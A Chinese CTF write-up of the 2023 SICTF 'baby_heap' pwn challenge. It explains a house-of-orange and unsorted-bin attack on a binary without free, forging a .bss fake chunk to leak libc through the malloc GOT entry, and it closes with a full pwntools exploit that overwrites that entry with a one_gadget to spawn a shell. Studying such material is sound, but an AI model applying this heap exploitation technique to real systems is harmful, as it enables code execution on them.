0%

comp - 2023SICTF-Pwn-baby_heap-wp

baby一点都不baby...houseoforange+unsortedbinattack

0x00 逆向分析

  1. main函数很简单,1申请2编辑3打印,但是没有free,google’no free pwn’了解到有可能是houseoforange
  2. add函数,两个约束(1. 最多申请32个chunk 2. chunk最大为0x1000),跟进chunk_size和chunk_ptr后发现两者在bss段挨得很近,所以这里其实可以伪造fake_chunk,后续可以考虑用fastbin attack或者unsortedbin attack来打(但这里没有free,就导致fastbin很难利用)
  3. edit函数
  4. show函数,只打印了8个字节就很难受

0x01 思路分析

  1. 我们肯定是要实现“leak libc”和“Any Address Write”
    1. leak libc
      1. 思路1:unsortedbin leak
        1. 理论上可行,但由于show只打印八个字节,所以必须要把unsortedbin里的chunk申请出来再打印,这样就会浪费一个chunk,后续利用比较麻烦
      2. 思路2:在bss段伪造fake_chunk写入got表,直接write出来
    2. Any Address Write
      1. 思路1:常规unsortedbin attack
        1. 比较麻烦,我的评价是不如unsortedbin申请fake_chunk
      2. 思路2:unsortedbin 申请 fake_chunk
        1. 将victim.bk设置为fake_chunk_head,申请两次即可获得
  2. 将写入的got表改写为og即可提权

0x02 具体步骤

  1. 由于add函数中,chunk_size会截断size,所以我们想要伪造0x111大小的chunk(Q1)的话,就必须要申请一个0x111,一个0x1大小的chunk才能正确伪造size段,而申请16个0x100大小的chunk是为了把0x4040c0-0x4040d0置零,即莫名其妙的八个字节(Q2)和fake_chunk的prev_size段
    1
    2
    3
    4
    5
    6
    payload = '\x00'
    for i in range(16):
      alloc(0x100,payload) # chunk0 - chunk15

    alloc(0x111,payload)   # chunk16
    alloc(1,payload)       # chunk17
  2. houseofOrange,此时unsortedbin中会有一个大小为0xdc0的chunk,记为victim
    1
    2
    3
    payload = b'\x00'*0x18 + p64(0xdc1)
    edit(17, len(payload),payload)
    alloc(0x1000,payload) #18
  3. 伪造victim.bk = 0x4040c8(fake_chunk_head)
    1
    2
    payload = b'\x00'*0x18 + flat(0x111,b'deadbeef',0x4040c8)
    edit(17, len(payload),payload)
  4. 连续申请2个chunk,在chunk_ptr[0]的位置写入malloc_got,调用show函数中的write,即可获得libc
    1
    2
    3
    4
    5
    6
    7
    8
    payload = 'a'
    alloc(0x100,payload)
    malloc_got = elf.got['malloc']
    payload = p64(0) + p64(malloc_got)
    alloc(0x100,payload)
    dump(0)
    libc_base = u64(io.recvuntil('\x7f')[-6:].ljust(8,b'\x00')) - libc.sym['malloc']
    print(f'libc_base   --->   {hex(libc_base)}')
  5. 调用edit函数,在chunk_ptr[0]指向的地址(即malloc的libc地址)写入og,调用malloc即可提权
    1
    2
    3
    4
    5
    6
    print(f'libc_base   --->   {hex(libc_base)}')
    one_gadget = [0x45226,0x4527a,0xf03a4,0xf1247]
    payload = p64(libc_base + one_gadget[3])
    edit(0,len(payload),payload)
    io.sendlineafter('>', str(1))
    io.sendlineafter('Size :', b'8')

0x03 一些问题

Q1: 为什么必须要伪造0x111大小的chunk呢?
Q2: 我感觉申请8个chunk就够了…把fake_chunk_head修改为0x4040c0也不是不行啊?

0x04 完整EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
from pwn import *
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
file = './baby_heap'

# io = remote(domain_name,port)
io = process(file)

elf = ELF('./baby_heap')
libc = ELF('/mnt/e/EdgeDownload/glibc-all-in-one/libs/libc6_2.23-0ubuntu11.3_amd64/libc.so.6')

# --------------------------------------------------------
def alloc(size,content):
io.sendlineafter('>', str(1))
io.sendlineafter('Size :', str(size))
io.sendlineafter('Content :', content)

def edit(index,size,content):
io.sendlineafter('>', str(2))
io.sendlineafter('Index :', str(index))
io.sendlineafter('Size :', str(size))
io.sendafter('Content :', content)

def dump(index):
io.sendlineafter('>', str(3))
io.sendlineafter('Index :',str(index))
# --------------------------------------------------------
payload = '\x00'
for i in range(16):
alloc(0x100,payload) # chunk0 - chunk15

alloc(0x111,payload) # chunk16
alloc(1,payload) # chunk17
payload = b'\x00'*0x18 + p64(0xdc1)
edit(17, len(payload),payload)
alloc(0x1000,payload) #18
payload = b'\x00'*0x18 + flat(0x111,b'deadbeef',0x4040c8)
edit(17, len(payload),payload)
# gdb.attach(io)
payload = 'a'
alloc(0x100,payload)
malloc_got = elf.got['malloc']
payload = p64(0) + p64(malloc_got)
alloc(0x100,payload)
dump(0)
libc_base = u64(io.recvuntil('\x7f')[-6:].ljust(8,b'\x00')) - libc.sym['malloc']
print(f'libc_base ---> {hex(libc_base)}')
one_gadget = [0x45226,0x4527a,0xf03a4,0xf1247]
payload = p64(libc_base + one_gadget[3])
edit(0,len(payload),payload)
# gdb.attach(io)
io.sendlineafter('>', str(1))
io.sendlineafter('Size :', b'8')

io.interactive()
-------------文章就到这里啦!感谢您的阅读XD-------------